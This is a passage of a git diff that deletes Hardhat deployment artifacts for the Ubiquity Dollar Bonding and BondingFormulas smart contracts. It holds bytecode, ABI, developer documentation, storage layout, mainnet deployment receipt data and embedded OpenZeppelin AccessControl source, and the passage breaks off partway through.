b505050506040513d601f19601f8201168201806040525081019061215a91906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b15801561219b57600080fd5b505afa1580156121af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121d39190613747565b90506000600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561222557600080fd5b505afa158015612239573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061225d91906136cb565b6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561229557600080fd5b505afa1580156122a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122cd9190613747565b9050600360009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b15801561231d57600080fd5b505afa158015612331573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235591906136cb565b60405163cd32420960e01b81526004810184905260248101839052670de0b6b3a764000060448201526001600160a01b03919091169063cd3242099060640160206040518083038186803b1580156123ac57600080fd5b505afa1580156123c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123e49190613747565b9250505090565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561243857600080fd5b505afa15801561244c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124709190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156124ad57600080fd5b505afa1580156124c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124e59190613727565b61251f5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b61252881612f65565b50565b60008160011115801561253f575060d08211155b6125b15760405162461bcd60e51b815260206004820152603160248201527f426f6e64696e673a206475726174696f6e206d7573742062652062657477656560448201527f6e203120616e6420323038207765656b7300000000000000000000000000000060648201526084016105e1565b6125b9612e8b565b612656333085600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561260d57600080fd5b505afa158015612621573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061264591906136cb565b6001600160a01b0316929190613027565b600354604080516310a7bc4160e11b815290516000926001600160a01b03169163214f7882916004808301926020929190829003018186803b15801561269b57600080fd5b505afa1580156126af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126d391906136cb565b60055460405163016cdd2960e61b8152600481018790526024810186905260448101919091526001600160a01b039190911690635b374a409060640160206040518083038186803b15801561272757600080fd5b505afa15801561273b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275f9190613747565b905060006007548461277191906138e5565b61277b90436138b9565b90506008548161278b9190613982565b6127959082613904565b92506127a1828461305f565b600360009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ef57600080fd5b505afa158015612803573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061282791906136cb565b604051636e553f6560e01b8152600481018490523360248201526001600160a01b039190911690636e553f6590604401600060405180830381600087803b15801561287157600080fd5b505af1158015612885573d6000803e3d6000fd5b50505050505092915050565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156128de57600080fd5b505afa1580156128f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129169190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561295357600080fd5b505afa158015612967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298b9190613727565b6129c55760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b612528816131cd565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b158015612a1b57600080fd5b505afa158015612a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a539190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b158015612a9057600080fd5b505afa158015612aa4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ac89190613727565b612b025760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60098190556040518181527f291233015412afe6d80870385b5c5eaa1bd28ef79ce03048c75522fa8ac77f219060200161075f565b6001600160a01b038316612bb35760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a63616e742d73656e642d6475737460448201527f2d746f2d7a65726f2d616464726573730000000000000000000000000000000060648201526084016105e1565b612bbe600083613282565b15612c235760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b60648201526084016105e1565b6001600160a01b03821673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415612c84576040516001600160a01b0384169082156108fc029083906000818181858888f19350505050158015612c7e573d6000803e3d6000fd5b50612c98565b612c986001600160a01b0383168483612e5b565b604080516001600160a01b038086168252841660208201529081018290527f1e34c1aee8e83c2dcc14c21bb4bfeea7f46c0c998cb797ac7cc4d7a18f5c656b9060600160405180910390a1505050565b801580612d715750604051636eb1769f60e11b81523060048201526001600160a01b03838116602483015284169063dd62ed3e9060440160206040518083038186803b158015612d3757600080fd5b505afa158015612d4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612d6f9190613747565b155b612de35760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e63650000000000000000000060648201526084016105e1565b6040516001600160a01b0383166024820152604481018290526105f590849063095ea7b360e01b906064015b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff166001600160e01b0319909316929092179091526132a9565b6040516001600160a01b0383166024820152604481018290526105f590849063a9059cbb60e01b90606401612e0f565b600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015612ed957600080fd5b505afa158015612eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f1191906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015612f4b57600080fd5b505af1158015612f5f573d6000803e3d6000fd5b50505050565b612f70600082613282565b612fe25760405162461bcd60e51b815260206004820152603060248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d6e6f742d7061727460448201527f2d6f662d7468652d70726f746f636f6c0000000000000000000000000000000060648201526084016105e1565b612fed60008261338e565b506040516001600160a01b03821681527fddd12a8c3ce9bea5c97a5d25c8b777caab85752828f56b7b8ad5a0b30340a25f9060200161075f565b6040516001600160a01b0380851660248301528316604482015260648101829052612f5f9085906323b872dd60e01b90608401612e0f565b60006130696120d1565b9050806130de5760405162461bcd60e51b815260206004820152602760248201527f426f6e64696e673a2073686172652076616c75652073686f756c64206e6f742060448201527f6265206e756c6c0000000000000000000000000000000000000000000000000060648201526084016105e1565b600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561312c57600080fd5b505afa158015613140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061316491906136cb565b6001600160a01b031663731133e933848660026040518563ffffffff1660e01b815260040161319694939291906137e0565b600060405180830381600087803b1580156131b057600080fd5b505af11580156131c4573d6000803e3d6000fd5b50505050505050565b6131d8600082613282565b1561323d5760405162461bcd60e51b815260206004820152602f60248201527f636f6c6c65637461626c652d647573743a3a746f6b656e2d69732d706172742d60448201526e1bd98b5d1a194b5c1c9bdd1bd8dbdb608a1b60648201526084016105e1565b6132486000826133a3565b506040516001600160a01b03821681527fa3e4ba856dd0fdee3a33ab9b82499fd01f05236f3d08cc4e7108698c6e3e7e509060200161075f565b6001600160a01b038116600090815260018301602052604081205415155b90505b92915050565b60006132fe826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166133b89092919063ffffffff16565b8051909150156105f5578080602001905181019061331c9190613727565b6105f55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016105e1565b60006132a0836001600160a01b0384166133d1565b60006132a0836001600160a01b0384166134e8565b60606133c78484600085613537565b90505b9392505050565b600081815260018301602052604081205480156134de5760006133f5600183613904565b855490915060009061340990600190613904565b9050600086600001828154811061343057634e487b7160e01b600052603260045260246000fd5b906000526020600020015490508087600001848154811061346157634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600189019091526040902084905586548790806134a257634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506132a3565b60009150506132a3565b600081815260018301602052604081205461352f575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556132a3565b5060006132a3565b6060824710156135af5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c000000000000000000000000000000000000000000000000000060648201526084016105e1565b843b6135fd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016105e1565b600080866001600160a01b0316858760405161361991906137c4565b60006040518083038185875af1925050503d8060008114613656576040519150601f19603f3d011682016040523d82523d6000602084013e61365b565b606091505b509150915061366b828286613676565b979650505050505050565b606083156136855750816133ca565b8251156136955782518084602001fd5b8160405162461bcd60e51b81526004016105e191906138a6565b6000602082840312156136c0578081fd5b81356133ca816139c2565b6000602082840312156136dc578081fd5b81516133ca816139c2565b6000806000606084860312156136fb578182fd5b8335613706816139c2565b92506020840135613716816139c2565b929592945050506040919091013590565b600060208284031215613738578081fd5b815180151581146133ca578182fd5b600060208284031215613758578081fd5b5051919050565b600060208284031215613770578081fd5b5035919050565b60008060408385031215613789578182fd5b50508035926020909101359150565b600081518084526137b081602086016020860161391b565b601f01601f19169290920160200192915050565b600082516137d681846020870161391b565b9190910192915050565b60006001600160a01b0386168252602085818401528460408401526080606084015281845483600182811c91508083168061381c57607f831692505b85831081141561383a57634e487b7160e01b87526022600452602487fd5b6080880183905260a08801818015613859576001811461386a57613894565b60ff19861682528782019650613894565b60008b815260209020895b8681101561388e57815484820152908501908901613875565b83019750505b50949c9b505050505050505050505050565b6000602082526132a06020830184613798565b600082198211156138cc576138cc613996565b500190565b6000826138e0576138e06139ac565b500490565b60008160001904831182151516156138ff576138ff613996565b500290565b60008282101561391657613916613996565b500390565b60005b8381101561393657818101518382015260200161391e565b83811115612f5f5750506000910152565b600181811c9082168061395b57607f821691505b6020821081141561397c57634e487b7160e01b600052602260045260246000fd5b50919050565b600082613991576139916139ac565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461252857600080fdfe43616c6c6572206973206e6f74206120626f6e64696e67206d616e6167657200a164736f6c6343000803000a", - "devdoc": { - "kind": "dev", - "methods": { - "crvPriceReset(uint256)": { - "details": "crvPriceReset remove 3CRV unilateraly from the curve LP share sitting inside the bonding contract and send the 3CRV received to the treasury This will have the immediate effect of pushing the uAD price LOWER", - "params": { - "amount": "of LP token to be removed for 3CRV tokens" - } - }, - "deposit(uint256,uint256)": { - "details": "deposit uAD-3CRV LP tokens for a duration to receive bonding shares", - "params": { - "_lpsAmount": "of LP token to send", - "_weeks": "during lp token will be held" - } - }, - "uADPriceReset(uint256)": { - "details": "uADPriceReset remove uAD unilateraly from the curve LP share sitting inside the bonding contract and send the uAD received to the treasury. This will have the immediate effect of pushing the uAD price HIGHER", - "params": { - "amount": "of LP token to be removed for uAD" - } - }, - "withdraw(uint256,uint256)": { - "details": "withdraw an amount of uAD-3CRV LP tokens", - "params": { - "_id": "bonding shares id", - "_sharesAmount": "of bonding shares of type _id to be withdrawn" - } - } - }, - "version": 1 - }, - "userdoc": { - "kind": "user", - "methods": { - "addProtocolToken(address)": { - "notice": "Collectable Dust" - }, - "crvPriceReset(uint256)": { - "notice": "it will remove one coin only from the curve LP share sitting in the bonding contract" - }, - "deposit(uint256,uint256)": { - "notice": "weeks act as a multiplier for the amount of bonding shares to be received" - }, - "uADPriceReset(uint256)": { - "notice": "it will remove one coin only from the curve LP share sitting in the bonding contract" - }, - "withdraw(uint256,uint256)": { - "notice": "bonding shares are ERC1155 (aka NFT) because they have an expiration date" - } - }, - "version": 1 - }, - "storageLayout": { - "storage": [ - { - "astId": 17851, - "contract": "contracts/Bonding.sol:Bonding", - "label": "_protocolTokens", - "offset": 0, - "slot": "0", - "type": "t_struct(AddressSet)3563_storage" - }, - { - "astId": 4567, - "contract": "contracts/Bonding.sol:Bonding", - "label": "data", - "offset": 0, - "slot": "2", - "type": "t_bytes_storage" - }, - { - "astId": 4570, - "contract": "contracts/Bonding.sol:Bonding", - "label": "manager", - "offset": 0, - "slot": "3", - "type": "t_contract(UbiquityAlgorithmicDollarManager)10304" - }, - { - "astId": 4579, - "contract": "contracts/Bonding.sol:Bonding", - "label": "sablier", - "offset": 0, - "slot": "4", - "type": "t_contract(ISablier)12083" - }, - { - "astId": 4585, - "contract": "contracts/Bonding.sol:Bonding", - "label": "bondingDiscountMultiplier", - "offset": 0, - "slot": "5", - "type": "t_uint256" - }, - { - "astId": 4588, - "contract": "contracts/Bonding.sol:Bonding", - "label": "redeemStreamTime", - "offset": 0, - "slot": "6", - "type": "t_uint256" - }, - { - "astId": 4591, - "contract": "contracts/Bonding.sol:Bonding", - "label": "blockCountInAWeek", - "offset": 0, - "slot": "7", - "type": "t_uint256" - }, - { - "astId": 4594, - "contract": "contracts/Bonding.sol:Bonding", - "label": "blockRonding", - "offset": 0, - "slot": "8", - "type": "t_uint256" - }, - { - "astId": 4597, - "contract": "contracts/Bonding.sol:Bonding", - "label": "uGOVPerBlock", - "offset": 0, - "slot": "9", - "type": "t_uint256" - } - ], - "types": { - "t_array(t_bytes32)dyn_storage": { - "base": "t_bytes32", - "encoding": "dynamic_array", - "label": "bytes32[]", - "numberOfBytes": "32" - }, - "t_bytes32": { - "encoding": "inplace", - "label": "bytes32", - "numberOfBytes": "32" - }, - "t_bytes_storage": { - "encoding": "bytes", - "label": "bytes", - "numberOfBytes": "32" - }, - "t_contract(ISablier)12083": { - "encoding": "inplace", - "label": "contract ISablier", - "numberOfBytes": "20" - }, - "t_contract(UbiquityAlgorithmicDollarManager)10304": { - "encoding": "inplace", - "label": "contract UbiquityAlgorithmicDollarManager", - "numberOfBytes": "20" - }, - "t_mapping(t_bytes32,t_uint256)": { - "encoding": "mapping", - "key": "t_bytes32", - "label": "mapping(bytes32 => uint256)", - "numberOfBytes": "32", - "value": "t_uint256" - }, - "t_struct(AddressSet)3563_storage": { - "encoding": "inplace", - "label": "struct EnumerableSet.AddressSet", - "members": [ - { - "astId": 3562, - "contract": "contracts/Bonding.sol:Bonding", - "label": "_inner", - "offset": 0, - "slot": "0", - "type": "t_struct(Set)3288_storage" - } - ], - "numberOfBytes": "64" - }, - "t_struct(Set)3288_storage": { - "encoding": "inplace", - "label": "struct EnumerableSet.Set", - "members": [ - { - "astId": 3283, - "contract": "contracts/Bonding.sol:Bonding", - "label": "_values", - "offset": 0, - "slot": "0", - "type": "t_array(t_bytes32)dyn_storage" - }, - { - "astId": 3287, - "contract": "contracts/Bonding.sol:Bonding", - "label": "_indexes", - "offset": 0, - "slot": "1", - "type": "t_mapping(t_bytes32,t_uint256)" - } - ], - "numberOfBytes": "64" - }, - "t_uint256": { - "encoding": "inplace", - "label": "uint256", - "numberOfBytes": "32" - } - } - } -} diff --git a/packages/contracts/dollar/deployments/mainnet/BondingFormulas.json b/packages/contracts/dollar/deployments/mainnet/BondingFormulas.json deleted file mode 100644 index 7b2479169..000000000 --- a/packages/contracts/dollar/deployments/mainnet/BondingFormulas.json +++ /dev/null @@ -1,308 +0,0 @@ -{ - "address": "0x190474f062D05fba6d46A4D358C4d031075DF2b4", - "abi": [ - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_totalLpDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_bondingLpBalance", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "correctedAmountToWithdraw", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "lpRewardsAddLiquidityNormalization", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "lpRewardsRemoveLiquidityNormalization", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "components": [ - { - "internalType": "address", - "name": "minter", - "type": "address" - }, - { - "internalType": "uint256", - "name": "lpFirstDeposited", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "creationBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpRewardDebt", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "endBlock", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "lpAmount", - "type": "uint256" - } - ], - "internalType": "struct BondingShareV2.Bond", - "name": "_bond", - "type": "tuple" - }, - { - "internalType": "uint256[2]", - "name": "_shareInfo", - "type": "uint256[2]" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sharesForLP", - "outputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - } - ], - "transactionHash": "0xfaf2597a04a286f9d19cb04d13b38955f6abc2a3ac80c791d0117acc8de3766d", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x190474f062D05fba6d46A4D358C4d031075DF2b4", - "transactionIndex": 164, - "gasUsed": "620066", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x65794195e502195af9623e2a6d2ca07d9b60fb0a6765bb879fddd780cb855053", - "transactionHash": "0xfaf2597a04a286f9d19cb04d13b38955f6abc2a3ac80c791d0117acc8de3766d", - "logs": [], - "blockNumber": 12931493, - "cumulativeGasUsed": "13951422", - "status": 1, - "byzantium": true - }, - "args": [], - "solcInputHash": "668ff4210658f4785fe4e4446814af17", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[],\"name\":\"ONE\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_totalLpDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_bondingLpBalance\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"correctedAmountToWithdraw\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"minter\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"lpFirstDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"creationBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"endBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpAmount\",\"type\":\"uint256\"}],\"internalType\":\"struct BondingShareV2.Bond\",\"name\":\"_bond\",\"type\":\"tuple\"},{\"internalType\":\"uint256[2]\",\"name\":\"_shareInfo\",\"type\":\"uint256[2]\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"lpRewardsAddLiquidityNormalization\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"minter\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"lpFirstDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"creationBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"endBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpAmount\",\"type\":\"uint256\"}],\"internalType\":\"struct BondingShareV2.Bond\",\"name\":\"_bond\",\"type\":\"tuple\"},{\"internalType\":\"uint256[2]\",\"name\":\"_shareInfo\",\"type\":\"uint256[2]\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"lpRewardsRemoveLiquidityNormalization\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"components\":[{\"internalType\":\"address\",\"name\":\"minter\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"lpFirstDeposited\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"creationBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpRewardDebt\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"endBlock\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"lpAmount\",\"type\":\"uint256\"}],\"internalType\":\"struct BondingShareV2.Bond\",\"name\":\"_bond\",\"type\":\"tuple\"},{\"internalType\":\"uint256[2]\",\"name\":\"_shareInfo\",\"type\":\"uint256[2]\"},{\"internalType\":\"uint256\",\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"sharesForLP\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"_uLP\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"correctedAmountToWithdraw(uint256,uint256,uint256)\":{\"details\":\"formula to calculate the corrected amount to withdraw based on the proportion of lp deposited against actual LP token on thge bonding contract\",\"params\":{\"_amount\":\", amount of LP tokens\",\"_bondingLpBalance\":\", actual bonding contract LP tokens balance minus lp rewards\",\"_totalLpDeposited\":\", Total amount of LP deposited by users\"}},\"lpRewardsAddLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"details\":\"formula may add a decreasing rewards if locking end is near when adding liquidity\",\"params\":{\"_amount\":\", amount of LP tokens\",\"_bond\":\", bonding share\"}},\"lpRewardsRemoveLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"details\":\"formula may add a decreasing rewards if locking end is near when removing liquidity\",\"params\":{\"_amount\":\", amount of LP tokens\",\"_bond\":\", bonding share\"}},\"sharesForLP((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"details\":\"formula UBQ Rights corresponding to a bonding shares LP amount\",\"params\":{\"_amount\":\", amount of LP tokens\",\"_bond\":\", bonding share\"}}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"correctedAmountToWithdraw(uint256,uint256,uint256)\":{\"notice\":\"corrected_amount = amount * ( bondingLpBalance / totalLpDeposited) if there is more or the same amount of LP than deposited then do nothing\"},\"lpRewardsAddLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"notice\":\"rewards = _amount;\"},\"lpRewardsRemoveLiquidityNormalization((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"notice\":\"rewards = _amount;\"},\"sharesForLP((address,uint256,uint256,uint256,uint256,uint256),uint256[2],uint256)\":{\"notice\":\"shares = (bond.shares * _amount ) / bond.lpAmount ;\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/BondingFormulas.sol\":\"BondingFormulas\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n\\n function grantRole(bytes32 role, address account) external;\\n\\n function revokeRole(bytes32 role, address account) external;\\n\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping(address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping(bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account 